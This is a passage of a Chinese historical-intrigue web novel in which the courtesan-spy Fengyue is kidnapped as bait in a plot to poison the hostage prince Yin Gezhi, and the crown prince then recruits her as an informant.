“世冲再过不久就该弱冠,弱冠的男儿,当在朝中挂职才算本事。”殷戈止道:“晚辈所欲,不过是让两个徒儿建功立业,达成所愿,与风云无关,更不分党派。侯爷年事已高,若是能安心养老,慢慢交权于世冲,晚辈可保安国侯府安然无忧。”
这倒是个不错的主意啊,安国侯爷想,世冲是他的嫡子,他肯定是盼着那小子有所成就的。放权给他不是难事,说是权,也不过是他手里的人脉关系,迟早是要世冲来继承的。现在有殷戈止护航,那定然更加顺畅。殷戈止不涉朝政,太子欣赏他,易大将军也对他不错,他能在两人之间寻着微妙的平衡点,躲在他后头,那是绝对周全的。
于是片刻之后,他笑道:“犬子顽劣,还望殿下多费心了。”
殷戈止勉为其难地颔首,那表情那姿态,像极了为了徒儿不畏艰险辛苦付出的好师父。
风月没忍住,侧头轻轻“呸”了一声。
要是她是安国侯,说不定也能被这人花言巧语给骗了!他哪里是想帮安世冲建功立业啊?分明是想通过安世冲,得到安国侯府的助力,以便自个儿做事更方便!虽然可能顺路能帮世冲一把,使他更快在朝中站稳脚跟,但这大尾巴狼的目的这么不单纯,哪有脸接受人家的感谢啊?
一想起安世冲看殷戈止那种崇敬的眼神,风月就觉得心疼他,更觉得面前这人不要脸!
但,也更加觉得他可怕。
先前她一直在疑惑,今日为什么要带自个儿来安国侯府,她又不能打探点什么。但现在她明白了,殷戈止是来吓唬她的。
刚投诚的人,心不是很定,就像战场上的俘虏,被俘之后一段时间很难融入,也始终对新的将领抱有怀疑。
殷戈止这种老牌将军,直接上来就给她放了个大招,亮出安国侯府这张牌给她看,意思就是你跟着我,老子有一万种方法可以带着你坑别人。但你要是背叛我,老子有一万种方法可以让别人坑你。
强者,只会服气比自己更强的人。
风月是服了,老老实实地夹着尾巴站在他旁边,大气都不敢出。
安国侯爷压根没有意识到对面的人心怀叵测,只当他为自己解决了一个巨大的麻烦,脸上笑得褶子一堆堆的,还顺带目光慈祥地看了她一眼,夸道:“这丫鬟也真是不错,怪水灵的。”
闻言,风月立马朝他水灵灵地笑了笑,屈膝
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行礼。
殷戈止瞥了她一眼,淡淡地道:“怀祖送的,瞧着呆傻,也不会乱说话,故而晚辈带在身边。”
哈哈笑了两声,安国侯爷心情甚好地揶揄:“殿下的使臣府一向冷清,是该添点人了。要不然,朝中那些个碎嘴的家伙,总要说点什么不三不四的话出来。”
说起这个话题,殷戈止脸就黑了一半。他只是不喜欢往府里放女人,在外头睡的女人也不少啊,偏生还有人传他不举或者断袖,也是闲得慌。
看了看风月,他突然觉得很有必要带她出去晃一圈。
“时候不早了,侯爷也该准备寿宴了,晚辈就先告退,出去跟世冲他们走走。”
“好。”安国侯点头。
于是风月就迈着小碎步,跟着殷戈止出了门。
门一打开差点就扑进来两个人,殷戈止低头,就见安世冲和徐怀祖双双尴尬地笑:“啊,师父,你们谈完了啊?”
气定神闲地“嗯”了一声,殷戈止往外走,两个少年连忙跟在后头,你看看我,我看看你。
师父生气了?
好像没有,这点小事,应该不会怪罪吧?再说,咱们也没听见什么啊。
眼神交流了一会儿,两人安心地抬头,就见旁边的风月姑娘一脸同情地看着他们。
“怎么?”徐怀祖好奇地问:“姑娘何以是这种神色?”
看了一眼前头走着的人,风月贼眉鼠眼地小声道:“二位少爷小心啊,你们师父的规矩很严的,听墙根这种事,不被逮着算你们的本事,被逮着就惨啦!”
心里“咯噔”一声,徐怀祖喃喃道:“不会吧……”
最后一个字还没落音,前头的殷戈止就停了步子,回头道:“明日开始你们加一个时辰的马步,再多踩半个时辰木桩。”
安世冲脸都绿了,徐怀祖连忙道:“师父,不用这么狠吧?咱们什么也没听清啊!”
“嗯?”殷戈止一脸正气:“什么没有听清?”
“……这,难道不是咱们听墙根的惩罚吗?”安世冲小心翼翼地问。
殷戈止摇头:“不是,是为了让你们身形更轻,基本功更扎实。”
严师出高徒啊!两人一边心疼自己一边感叹,正想说师父的规矩也不严么?没生他们偷听的气啊,然后就听见自家师父幽幽地补了一句:
“练好基本功,下次听墙根的时候,就不会被人发现了。”
风月一个没忍住,喷笑出声。
徐怀祖和安世冲一脸愕然,想求饶吧,师父没怪罪。不求饶吧,那也太惨了!
“师父……”
“乖,准备吃寿宴吧。”殷戈止转头就继续走,直接去了前院准备入席。
后头跟着的两个人都跟吃了苦瓜似的,有气无力地道:“风月姑娘,你可真是太了解师父了!”
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第46章 你去门外等我
了解吗?风月摇头,皮**而已。
那边殷戈止已经坐下,四周不少人瞧见,都过来问了安。安世冲和徐怀祖过去,一左一右,分外殷勤地添茶倒水:“师父,尝尝这茶,新到的毛尖儿!”
“快午时了,师父饿不饿?要不先用些点心?”
殷戈止坐得跟个大爷似的,一声不吭地享受着徒儿们的侍奉,风月站在旁边,看得心里舒坦极了。
不是她狗腿啊,你看,人家在他面前也得狗腿啊!魔王面前,众生平等,她实在不算委屈!
“这是安国侯府的世子啊,怎么对他那般亲近。”身后不远处,有人嘀咕了一声。
风月一顿,装作整理旁边花束的模样,缓缓回头看了一眼。
两个站在一起的男人,四十多的模样,都穿着常服,却挺着官肚子,看向这边的表情,没有别人眼里的羡慕和恭敬。
另一个人小声回答:“不是拜师了么?谁知道这安国侯府的世子会拜在他门下,瞧这模样,还真把个质子当回事。”
微微皱眉,风月低头想了想。
朝中看不顺眼殷戈止的人是有挺多,但除了直接下毒的朱来财,其他人尚不明朗,这俩是什么人?
“月儿。”正想着呢,殷戈止的声音就传了过来,风月回头,只见他很不满地看着自己,然后指了指他身后的位置。
疑惑地走过去站着,她问:“公子有何吩咐啊?”
“当奴婢的,要时刻站在主人身后,不要离太远。”殷戈止语重心长地说着,还递给她一块糕点:“尝尝。”
这么好?风月眨眼,笑着接过糕点,正要吃呢,就又听见人笑道:“殿下终于有丫鬟了。”
“谁这么好福气,能进使臣府当丫鬟啊?”
徐怀祖痞里痞气地就朝说话的人道:“晚辈体贴,送师父个丫鬟,师父赏脸就收下了,这算丫鬟的福气,还是晚辈的福气啊?”
那边的人一愣,立马恭维:“自然是徐少爷的福气了。”
徐怀祖轻笑,眼神示意风月低头,风月瞧见,立马缩了缩脖子。
殷戈止像是没听见这些话,慢悠悠地等着开席。
他坐了主席下头的一桌,本是不打眼的,谁知道两家小少爷都围着他坐,这桌自然就引了不少人来看,席间安国侯爷虽然只礼节性地来喝了一杯,但殷戈止还是一直被人围着灌酒,活像他过五十大寿似的。
酒喝多了,人也就醉了,勾着就将旁边当花瓶的风月搂进怀里,吹着酒气道:“月儿你可别乱跑,等会找不到你。”
风月微笑,咬着牙小声道:“主子,奴婢站在旁边,一个步子都没挪过!”
“那你去门口等我。”醉醺醺的人道:“等会儿我就逃出去,咱们溜回府。”
总觉得有不善的目光盯着他们,她在这儿也觉得不舒坦,于是立马就应了,拨开层层人群便往外走。
安国侯府侧门门口停了不少马车和轿子,车夫家奴们坐在一起聊天等着。风月蹲在使臣府的车辕上,跟只鹅似的伸长脖子看,别家的主子倒是零零散散出来几个,她家那个始终没瞧见人影。
蹲了三柱香了,人还是没出来,风月暗骂了一声,然后打算站起来活动活动手脚。
然而,就在她站起来的这一瞬间,旁边冷不防地传来一股子凌厉的气息。
下意识地就想躲,但动作没人家快,力气没人家大,柔弱的风月就这么被个麻布袋套得结实,只嗷呜叫唤了一声,就被人捂嘴扛走了。
门口的车夫们聊得兴起,压根没人发现。
心里沉得厉害,风月想不明白这个时候会有谁对自己下手,她就是个丫鬟而已!招谁惹谁了!
扛着她的人力气很大,声音也很粗:“是这个没错吧?”
旁边的人道:“应该没错,留了字条了,咱们去城外等着就是。”
**?她定了定神,留了字条就说明她还有活路,不用慌,乖乖当个被绑的人就好了。
于是绑匪跑了一路,发现自己肩上的人不动不闹,像根面条儿似的挂着。
“方才没把人打晕吧?她怎么没动静的?”
旁边的人道:“多半是晕了,胆子真小!不过胆子小好啊,咱们做事也更方便。”
这话一说,两人对这种弱不禁风的小姑娘就没什么警惕心了。到了地方,还慢慢地给放稻草堆上,没使劲扔。
闭眼不动,风月均匀地呼吸着,直到一盆水泼自己脸上之后,才装作惊醒的样子,颤颤巍巍地看向面前的人:“你……你们是谁?”
瞧这模样还算可人,两个贼人缓和了语气:“不用怕,请你来帮个忙而已。”
哇,那你们请人帮忙的态度真是太好了!心里骂了一句,风月身子抖得更厉害,惊恐地看着他们。
安国侯府侧门。
殷戈止站在车边,看着车辕上压着的字条。
“北城门外树林断桥。”
眼里醉意消散,他捏着那字条看了好一会儿,转手递给了身后的徐怀祖:“真是失算,说是丫鬟,但你徐家送的丫鬟,看来也容易被人惦记。”
徐怀祖一看就炸毛了,剑眉倒竖:“朝女人下手算什么本事?!”
说完低头想了想,看了一眼旁边气定神闲的自家师父,突然有点理解贼人的想法。
不朝女人下手,难不成朝殷戈止下手啊?那不是下手,那叫送命。
“师父,我们陪您一起去看看,万一有埋伏,您也不至于孤身奋战!”安世冲道:“带上点人。”
“是啊师父,咱们一起去把风月姑娘救回来!”
打了个呵欠,殷戈止眼里的醉意又上来了,口齿不清地道:“嗯,救人。”
然后突然就醉得不省人事了。
安世冲目瞪口呆地伸手接着他,徐怀祖也傻眼了:“师父?”
肩上的人闭着眼睛,呼吸均匀,脸上还有喝多了的红晕,看起来……还当真是君子如玉,微染晚霞。
呸呸呸,现在不是看相貌的时候啊!徐怀祖慌张地问安世冲:“这怎么办啊?”
安世冲比他镇定,想了一会儿就道:“师父这个样子是没法去救人了,但名义上风月姑娘是你送给师父的,
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眼下你带人去救,合情合理。”
有道理!徐怀祖立刻上马,扯着缰绳道:“你将师父安顿了,我先回将军府调人手,半个时辰之后,北城门会合。”
“好。”安世冲点头,看着他策马而去,便让家奴帮忙把殷戈止抬进客房。
眼下午时刚过,光天化日的,贼人扛着人都能出城门,想必有点手段。两个少爷没敢怠慢,调了三十余人,弓箭兵器齐备,才敢往北门外走。
茅草屋里。
风月抖得浑身肌肉都僵硬了的时候,面前的两个贼人总算说出了目的:“你要是想保命,就按照我们的吩咐,涂了这个,蹭到你家主子的嘴上去。”
一张朱丹纸,两抹胭脂红,风月瞧得一愣一愣的:“两位大人……这是要奴家去勾引主子不成?”
“你这姿色,定然够用。”扛她的大汉朗声道:“他身边就你这么一个丫头,难不成晚上还不暖床?等他来英雄救美回去,你再以身相许,不就顺理成章了?”
好厉害啊,这都安排好了,风月忍不住都想鼓个掌。
“这东西你吃下去,等你成了事儿,咱们给你解药。”一个黑乎乎的东西塞到了她的嘴里,风月装作咽下去了的样子,干呕了两下,顺势将那东西夹在手里,然后泪眼盈盈地顺了顺胸口:“这…这又是什么?”
“**,没有解药的话,你会死,这样一来你就算被救出去,也得办事。”看她这惊恐不安的样子,两个贼人就像吓唬小孩子似的吓唬她:“所以,你别玩什么花招,会没命的!”
“奴…奴婢一定照做,两位大人到时候一定要救救奴婢啊!”朝他们磕头,风月抖得如风中飘零的落叶。
本来绑人的话,多多少少是要让肉票吃点苦头,才能保证她听话的,但是今天这买卖格外顺利,两个人都觉得运气不错,绑来的姑娘胆子小,很配合,那他们就不用花力气了。
等人来就是。
茅草屋出去就是一座断桥,桥下河水干了,人直接就能走过来。贼人在断桥一边等着,一个时辰之后,就看见两个穿着锦衣长袍的少爷,带着一大群人,往这边狂奔而来。
“啥情况?”贼人有点傻眼:“大人不是说,等个长得贼好看的穿青衣的公子来就好了吗?这怎么来这么多人啊?”
另一个人也傻了:“这……那我们还要不要威胁,说那青衣公子不自尽,咱们就剁了那姑娘啊?”
“还威胁个屁!咱们不被剁了就很好了!跑啊!”
坏人往往死于话多,本来说不定能跑掉的,但叽叽歪歪这么长时间,安世冲早就带人围上来了,直接就将两个贼人按在地上,一顿胖揍。
“光天化日之下,还敢强抢民女?你们是谁派来的!”
“我……”壮实点的绑匪很想硬气地说,我们是自己来的!但是话还没说出口,旁边护卫沙包大的拳头“呯”地一声砸在他嘴上,打得他门牙一松,在空中划出了一个好看的弧度。
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第47章 奴家好惨啊
安世冲坐于马上,沉默地看他们被打了个半死,才又问:“绑来的人呢?”
这回不敢怠慢了,贼人立马指了指后头的茅草屋。徐怀祖下马便冲了进去,长恨刀横于胸前,已经做好的挡暗器的准备。
然而,门推开,里头就一堆稻草和一个舒舒服服躺在草上休息的美人儿,别说机关暗器了,多的看守的人都没有。
“不是吧?”遗憾地放下刀,徐怀祖道:“这也太敷衍了啊,亏我们还准备了这么久,以为你遇见了什么厉害的绑匪呢。”
“让公子失望了。”风月起身,摘了身上的草,捏着那张朱丹纸就往外走:“殿下呢?”
被绑的人一点都没有经历生死挣扎的惊慌失措,反而这么平静地问话,徐怀祖更觉得失望,垂头丧气地跟在后头道:“喝醉了,在侯府里歇着呢。”
步子顿了顿,又若无其事地继续往前走,风月皮笑肉不笑地道:“醉得可真是时候啊。”
“嗯?”徐怀祖没听清:“姑娘说什么?”
“奴家是说,这两人不是普通的绑匪。”看着安世冲也下马过来了,风月笑道:“他们想让奴家毒死殿下。”
哦,毒死。
嗯?毒死殷戈止?!安世冲脸黑了,徐怀祖也是一个激灵,立马转身吼道:“把这两人给我带去衙门!”
“是!”
“怎么会有这样的事情?”安世冲很震惊,瞪着风月道:“师父可是魏国的大皇子,身系两国邦交太平,何人敢来害他?”
单纯不谙世事的少年呐,风月直摇头:“敢害殿下的人不少,上回在梦回楼,半夜都有人来刺杀,三司使府上的账房更是利用奴家,给殿下有毒的点心。如此看来,今日这一张朱丹纸,也不算什么稀奇。”
师父竟然这么危险吗?安世冲满眼的不可思议,徐怀祖则是皱眉沉思了一会儿,然后道:“说是身系太平,但师父到底是无权无势,被人害了也做不了什么,胆大的人,自然敢接二连三冲他下手。如今咱们既然拜师,也该好生保护师父才是。”
“有道理。”安世冲赞同地点头。
看着这义愤填膺的俩孩子,再想想那安然无恙的殷戈止,风月心里冷笑,眼里也带了讥诮。
好一个需要人保护的大皇子啊!什么也没做,什么也没说,就让她出门等着被绑,便成功地装了一把可怜人。受苦受难的都是她,他只用坐享其成。
更可恨的是,饶是看穿了这一点,她也只能顺水推舟,不敢坏他好事。
心里有气,风月扯了缰绳就上马,朝两人说了一句“回去吧”,然后就策马直奔安国侯府。
“这……”看了看自己远去的坐骑,安世冲目瞪口呆:“风月姑娘竟然这么会骑马!”
徐怀祖连连点头:“师父看上的果然都不是一般人。”
然后就把安世冲拉上了自己的马,跟着追上去。
客房里躺着的人正悠闲地看着窗外的风景,听见门外的脚步声,立马闭上眼,装睡。
朝门口守着的家奴颔首示意,风月笑得好看极了,看得家奴边往外走边嘀咕:“使臣府的丫鬟真是温柔啊!”
等人都走了之后,温柔的丫鬟脸色一变,捞起袖子,对着那紧闭的房门,上去就是一脚!力气之大,直接将插着的门栓给踢开了!
饶是殷戈止,也被这动静给吓得睁开了眼。
房子塌了?
然而看向门口,却是风月捏着手站着,端庄万分地朝自个儿缓缓走来,脸上满是关切地问:“公子醉了?”
莫名的有点心虚,殷戈止揉了揉额头,装作痛苦的样子应了一声:“嗯。”
“奴婢替您按压一下身子吧,利于醒酒。”她体贴地凑过来,分明是笑着说的,但是殷戈止严肃地摇了摇头:“不必。”
装作没听到,风月脱了绣鞋,把床上的人面朝下按住,然后就直接跪到了他背上!身子的重量全靠膝盖支撑,膝盖顶着这人背上的骨头,清脆地一声响!
殷戈止脸绿了。
安世冲和徐怀祖本还打算进来请个安问候一下什么的,刚到门口看见床上那场景,立马就一人拉了一边的门关上,很是懂事地道:“师父好生休息!”
休息得了吗?感受到背后这人浓浓的怒气,殷戈止闷哼了一声,头埋在枕头里,没反抗了。
聪明人与聪明人之间一向不用解释太多,狡辩更是没什么用,看在她回来得挺快的份上,随她去吧。
“公子,舒服吗?”一点力气也没省,风月咬牙切齿地问他。
身下的人看不清表情,语气倒是甚为愉悦:“舒服……若是能让我翻个身,想必更舒服。”
翻……低头看了看自己的姿势,万年不要脸的风月也脸红了,狠狠一脚跺在他背上,大喊一声:“舒筋活络!”
“唔。”疼得失笑,殷戈止没抬头,嘴角却是在枕头里勾起。
好久没人敢这么对他了,没想到小妖精生起气来,倒也挺有趣的。完全没了那假惺惺的媚笑,活蹦乱跳的像只青蛙,嘴巴肯定也一鼓一鼓的,就差一声——
呱。
眼里笑得更欢,嘴里却没出声,殷戈止趴着,任由背上的青蛙排山倒海,上蹿下跳。
等
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她蹦跶累了,他才伸手,把她拎到旁边,眯着眼睛板着脸吓唬人:“胆子肥了?”
火泄完人就容易怂,风月缩了缩脖子,小声道:“奴婢这不是为了主子醒酒嘛?”
“酒是醒了,五脏六腑也快被你压碎了。”皱了皱眉,殷戈止嫌弃地道:“你可真重!”
还敢说她?风月扁嘴,眼眶都红了:“亏奴婢今日天真地跟着主子来,以为就是来见见世面的,谁知道主子想也不想就把奴婢扔出去当钩子,勾着俩蠢绑匪当饵,吊了俩蠢徒弟!您是开心了,可想过奴婢?”
“你怎么了?”殷戈止道:“不是好好的吗?”
好好的就可以送她出去让人绑啊?风月磨牙,想了想打不过人家,那还是哭吧。
“嘤嘤嘤,看着是好好的,中间经历了什么,您哪里能体会?”泪珠儿直掉,一颗颗砸在他手背,风月哽咽:“奴家这如花似玉的姑娘,被两个大男人绑着,一路上没少被动手动脚上下轻薄……”
她已经打好腹稿了,要说被轻薄了,还要说被打了,最好说还被人从马上扔了下来,差点没命之类的,显得更加惨烈,好让面前这人愧疚一二。
然而,话刚说了个开头,都没说完呢,身边的人就坐了起来。
莫名其妙地被吓了一跳,风月捂着心口看着他:“公子?”
周身气息不是很友好,殷戈止看她一眼,便下床:“你先回去吧,我还有事。”
**,故事都不愿意听她说?好歹她是受害人,能不能尊重一下?知道是编的,听完也好啊,就这么走了?
气得鼓了鼓眼睛,风月没好气地下床穿鞋,出去的时候,就连人背影都没看见了。
赶着去投胎啊?
撇嘴翻了个白眼,风月自个儿找到侧门,再找到使臣府的马车,可怜巴巴地上去,然后让车夫上路。
安世冲还在侯府,徐怀祖却已经不见了,殷戈止走过去,面无表情地问了一声:“人呢?”
以为他问徐怀祖呢,安世冲连忙道:“去衙门了,抓着了绑匪,风月姑娘说他们不简单,要害您,所以怀祖过去亲自守着。”
颔首应了,殷戈止一边往外走一边道:“为师也去看看。”
师父都去,那安世冲自然也要去了,立马牵马来,一人一匹,飞快地往衙门跑。
徐怀祖正在衙门大堂,吊儿郎当地绕着两个绑匪转:“趁着没升堂,你们先交代交代吧,谁指使的?”
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第48章 简单的日子过不了
这么简单直接的问话,专业一点的打手都不会回答的,但是从整个**事件来看,这两人明显不是很专业,再加上被暴揍了一顿,现在老实得很,哆哆嗦嗦地就道:
“做咱们这行的,从来不知道主顾的来头,给银子的人就要咱们绑个水红色衣裳的丫鬟,留个字条,然后威胁来救那丫头的人。他说要是威胁不了,就给张有毒的朱丹纸,让那丫鬟去动手。”
殷戈止进门来就听见这么一句话,安世冲转头去跟衙门的人打招呼,他便走进去,问了一句:“放了那丫鬟,她还会动手?”
战战兢兢之中,两个绑匪转头就看见这天神一般的人跨门进来,语气温和,跟刚刚那凶巴巴吼他们的少年完全不一样。
心下一松,一个绑匪连忙道:“那人还给了咱们**,说喂那丫头吃了,事成才给她解药。”
另一个绑匪点头,看这青衣公子长得俊俏,身子又单薄,像个书生,于是眼珠子转了转,道:“那解药还在咱们这儿呢,您要是想要,不如让其他人下去。”
徐怀祖不高兴了:“有解药就拿出来,叫我们下去做什么?”
“做咱们这行的,也是有约定俗成的规矩的。”壮实的绑匪道:“屏退左右,咱们有话好商量。”
“是啊,不然的话,咱们玉石俱焚好了,反正都是死。”在同伴眼里看清了想法,另一个绑匪帮腔说道。
眼下升堂了他俩才是真的死定了,在那之前,一定要找机会逃跑!
那锦衣的少年凶巴巴的,还带着刀,一看就是练家子。还是面前这个书生好对付,柔柔弱弱的,手里也没个武器防身。只要让其他人出去,他们就能趁着拿解药……嘿嘿嘿!
眼神一对上,两个绑匪觉得此法十分可行!
“你们在外头稍候。”殷戈止道。
一点也不担心自家师父,徐怀祖带着人就撤退了,大堂里就剩下两个绑匪和一个看起来柔弱的书生。
“解药。”修长的手伸到他们面前,殷戈止语气很温和。
一使眼色,一个绑匪伸手到怀里掏解药,另一个绑匪活动了一下手腕,眼神陡然凌厉,出手飞快,猛地朝殷戈止脖颈抓去!
眼皮都没抬一下,殷戈止慢慢地躲开他这一击,伸手到他怀里,飞快地掏出了药瓶。
瞳孔微缩,绑匪很惊愕,他压根没看清这人的动作,为什么药瓶就被他拿到手里了?
而面前书生的脸色,在拿到药瓶之后陡然变得冰冷,如同地狱归来的索命人,慢慢地靠近,在他还没反应过来的时候,肚子上就猛地一痛,接着整个人天旋地转,重重地撞在了墙上。
四肢和肺腑都传来什么东西碎裂的声音,叫也叫不出声,他滚落在地,张大了嘴抽搐。
旁边的绑匪目瞪口呆,殷戈止转头,想也没想就压了他的手腕,双手交叠,狠命一拧!
“咔吧”一声,绑匪的脸色骤然苍白,接着便撕心裂肺地吼叫出声:“啊——”
“师父。”外头的徐怀祖小心翼翼地道:“您轻点。”
旁边的安世冲挡着京兆尹,拱手解释:“师父只是在里头拿解药,是对方要求的,不是在**。”
擦着额头上的汗水,京兆尹赔笑,眼神却是压根不信。
一炷香之后,门开了,殷戈止走出来,朝京兆尹行礼:“有劳。”
“不敢当不敢当。”陈流芳连忙回礼:“贼人如此胆大包天,行刺殿下,下官定然严审!”
殷戈止颔首:“从朱来财一案,在下便知,大人刚正不阿。”
那哪里是他刚正不阿,分明是太子殿下抓着人不放,非得往死里弄,他现在顶着三司府的压力,真是举步维艰。
“朱来财的案子?”安世冲多问了一句:“是三司府上的那个账房吗?”
“正是。”
“还没判决?”沉了脸,徐怀祖恼怒地道:“**偿命,谋害质子更当株连!既然已经抓到了人,那还在等什么?”
殷戈止轻轻叹了口气:“大人也有他的为难之处。”
“为难?”安世冲道:“既然为难,那不如上交廷尉,赵廷尉不畏强权,自然能有个好决断。既然今日来这一趟,大人不妨便把证据和犯人交给在下,在下顺路就送去廷尉衙门。”
“这……”陈流芳擦了擦额头上的汗水:“不是什么重大命案,交给廷尉的话……”他怎么跟三司使交代啊?
眉头一竖,徐怀祖当即就冷笑:“不是重大命案?大人的意思,是非得殿下出事,两国开战才好?”
“下官不敢!”
“那就不必多说了,提人吧。”徐怀祖道:“镇远将军府的府兵都在外头,护送个犯人绰绰有余。”
“……”这逼上门来,他也实在拧不过,陈流芳叹了口气,心里也松了口气,赶紧让他们把人带走,少了他的麻烦。
于是徐怀祖就十分严肃地押着犯人去廷尉衙门了。
“师父放心,赵廷尉是家父旧友,关系一向不错,有他在,很快就能定案。”策马走在他身侧,安世冲说了一句。
殷戈止点头:“今日实在奔波,你还是早些回侯府吧,晚上许是还有庆典,到底是东道主。”
“好,师父路上小心。”朝他行完礼,安世冲捏稳了不悔剑,挥鞭便朝侯府的方向跑。
四周终于安静了,殷戈止低头,看了手里的药瓶一眼。
她那种狡猾的人,会**?
想起那人在他背上蹦蹦跳跳的样子,他摇头,挥手想扔,又顿一下,还是把药瓶揣进怀里。
“主子。”观止在门口等他,见他回来,连忙上来牵马。
下马就往府里走,殷戈止问:“人在主院还是客院?”
观止神色复杂地回答:“回梦回楼了。”
嗯?停下步子,殷戈止不解地回头。
“方才风月姑娘回来,说事情都办完了,就带着灵殊走了。”观止也很纳闷:“您还没赶人呢,她竟然就自己走了。”
他还以为她会想留在这儿。
眉头皱了皱,又松开,殷戈止继续往主院走,淡淡地道:“想必是没**,不然早嚷着让我救了,还有心情回梦回楼。”
“什么**?”
“没什么,你送谢礼去梦回楼就是。”
又是谢礼,总感觉每次主子不高兴的时候,都让往梦回楼送谢礼。观止很想说,其实很多事一句话就可以解决,不用那么破费的。
但是看了一下自家主子冷若冰霜的脸,罢了,还是去选礼物吧。
回到梦回楼,风月好生洗了个澡,换了一身衣裳,又变成了媚气横生的狐狸精,站在梦回楼的三楼,对着楼下街上来往的人群抛媚眼。
梦回楼还在歇业,然而依旧有姑娘偷偷接客,不算死气沉沉。风月的媚眼抛着抛着,就听得身后尖锐的声音道:“哟,还在呢?这一会儿来一会儿走的,
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我还以为你被人赎出去了。”
断弦的声音,一贯带着点细针划铁的尖锐劲儿,听得人浑身不舒服。
然而风月还是回头朝她笑:“没客人啊?竟然有空来挤兑我。”
“哼,不想接客罢了。”到她旁边站着,扫了一眼街上的人,断弦那小白眼翻得,简直是风生水起:“倒是你,接不着客人,还勾搭过路人了?咋这么不挑呢?”
扫一眼她的脸,风月一顿,伸手拿了帕子给她:“眼下的妆花了。”
“要你管!”凶巴巴地吼了一声,又立马掏出小镜子对着照,整理了一番,然后叹了口气:“暮去朝来颜色故,门前冷落鞍马稀。”
“哇,你还会诗词啊。”风月鼓掌:“有才华!”
“谁都跟你似的只会跳**不成?”轻蔑地看她一眼,又看了看下头街上茫茫的人群,断弦眼里有点落寞:“只是有点可怜咱们这种人,要是还有仇怨也好,就怕没了仇怨,都不知道过的什么日子。”
顿了顿,风月垂眸。
断弦是个富足之家出来的难民,在战乱中被抓进军营百般欺凌,为了护着年幼的妹妹,她什么也不要了,只愿他们放过她妹妹。但是很不幸,她妹妹最后还是被人当货物一样送了出去,辗转受辱,最后死在了某个将领的手里。
半年前,断弦是拼着最后一口气倒在梦回楼门口的。
半年后,这个女人娇艳如花,只是心里怕是一片腐朽,只等大仇得报,就可含笑九泉。
都是在硬撑。
“你得了吧。”风月嗤笑:“瞧瞧这张脸,老得跟四五十似的,有空感叹唏嘘,不如好生养养,免得吓跑了客人,到时候饿死的还是你。”
断弦一怔,表情瞬间狰狞:“你说谁老呢!”
“谁老说谁!”
“你……”
“风月!我的乖乖,快下来!”金妈妈的大嗓门再度响起,穿透四方:“恩客又给你送东西来啦!”
断弦脸一沉,就见面前的人像得意的孔雀,朝她抖了抖尾巴,然后捏着手上的镯子道:“姑娘还是先攒够棺材本吧,想那么多做什么?”
说罢,扭着小蛮腰就下了楼。
振作了一番,断弦提着裙子就往下冲,拉了微云几个姑娘阴恻恻地站在大堂旁边,看着风月笑得跟朵花似的清点恩赏。
“我也想要那么大方的恩客。”微云嘟嘴:“还大度,被下毒了都不怪她!”
“运气好而已。”金玲哼哼道:“一年里总有那么几个客人是人傻钱多。”
几个姑娘赞同地点头,说起人小话来,瞬间就像个普通的妓子,哪里还有什么血海深仇,只有女儿家的小心眼和小妒忌,嘈嘈切切,纷纷扰扰。
正在看清单的风月笑了笑。
女儿家啊,还是过得简单点好,没事吵吵架,抢抢客人什么的,多好。
当然,她的日子是没法简单过的,殷戈止没来梦回楼,想必也是有事要忙。但黄昏时分,叶御卿过来了。
“刚喝完安国侯府的寿酒,要回宫,顺路来看看你。”摇着扇子笑,眼里的神色却是更加复杂,太子殿下靠近她,温柔地道:“风月啊,你本事不小。”
心里“咯噔”一声,风月低着头行礼:“公子此言何意?”
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第49章 中间的纽带
她行事这般滴水不漏,就算倒霉遇上殷戈止被拆穿了,可也不至于被太子发现什么啊!
心里忐忑,面上却是更加镇定,一双无辜的眼睛眨啊眨的,等着面前这人的下文。
结果半醉的太子殿下幽幽地道:“殷殿下今日带的丫鬟,是你吧?”
原来是这事儿。微微松了口气,风月眼珠子一转就笑开了,扶着他在桌边坐下,嗲声嗲气地道:“您也去了?奴家倒是没遇上,不然定然去同您问安。”
“我去的是晚宴,你们都走了。”叶御卿低笑:“只留众人议论纷纷,说是殷殿下转了性子,收了徐府送的丫鬟。我料他不会随便收人,又听人说那丫鬟颇为美艳,才想起了你。”
“没想到还真的是你。”
最后这一句话说得缓慢,别有深意。
风月冲他眨眼,笑得分外得意,尾巴一翘一翘的:“奴家是不是很厉害?殷殿下那般难缠的人,都能让奴家留在他身边……虽然也没留多久,但比起别人,殷殿下对奴家可亲近了不少。”
大大咧咧地炫耀,像得了宠的普通女人,急于彰显自己的本事。
扇子半遮了脸,叶御卿眼里的神色幽深,似惊讶、似庆幸、也似遗憾,在她身上流连半晌,终还是化为了无边的温柔,将她笼罩在里头,低低地道:“你是喜欢他,还是喜欢我?”
这话问得缠绵悱恻,风月鸡皮疙瘩都要起来了,却还是得不动声色地道:“殿下这是什么话呀,上门是客,哪有喜欢谁不喜欢谁的?”
“是吗?”扇子轻摇,叶御卿伸手勾了她的腰,将人拉到怀里,低头看她:“可你的殷殿下,却对易大将军很是尊敬,从不犯他分毫。风月,你不想报仇了吗?”
眼里一瞬间划过不甘、恼怒、委屈等多种情绪,分量足够,比例适当,糅杂成一张隐忍的脸:“奴家……自然是想报仇的,可奴家能做什么呢?”
就等她问这句话了,叶御卿勾唇,长眉柔和,眼神如水,像个邻家大哥哥似的,十分为她着想地道:“既然能得殷殿下信任,那自然是有报仇的机会的,只要你能说服他,与我配合,那你的大仇,也不是不能报。”
惊慌地看着他,风月挣扎了一下,小脑袋直摇:“这怎么行?奴家怎么能说服殷殿下呢?奴家什么也不懂。”
“你要是有想报仇的心,那我便可以教你。”看着她的眼睛,叶御卿道:“眼下时机正好,不少人对殷殿下动手,朱来财已经被移交廷尉府,安国侯府门口又出了**之事。你作为被绑的人,去跟他说说,让他问罪护城军。”
光天化日的绑匪能扛着人直接出城,那就是护城军的失职。风月假意沉思,手里捏着帕子揉啊揉的,心里却早就打好了主意。
她能得殷戈止信任,那太子就必定会想利用她传递消息亦或是诱导殷戈止,加上她说的想要易国如的命,那太子就会放心地把她当刀使。
刀柄是她递到他手里的,一切都进行得很顺利。
“奴家什么也不懂。”忧郁地看着叶御卿,风月道:“您说什么,奴家就照做什么,只要能报仇,奴家愿意为殿下差遣。”
眼里恨意难消,整个人身子紧绷,像一头含恨已久的恶狼,只要能咬着仇敌,那他指哪儿,她就扑哪儿。
对于她这样的态度,叶御卿实在很满意,反正已经将她查了个彻底,没发现什么问题,那就可以试着用。
只是有点可惜,在窗台上潇洒饮酒的姑娘,如今要成他手里的一把刀,而不是一个女人了。因着殷戈止,他可能很长一段时间都不能碰她。
可惜啊可惜。
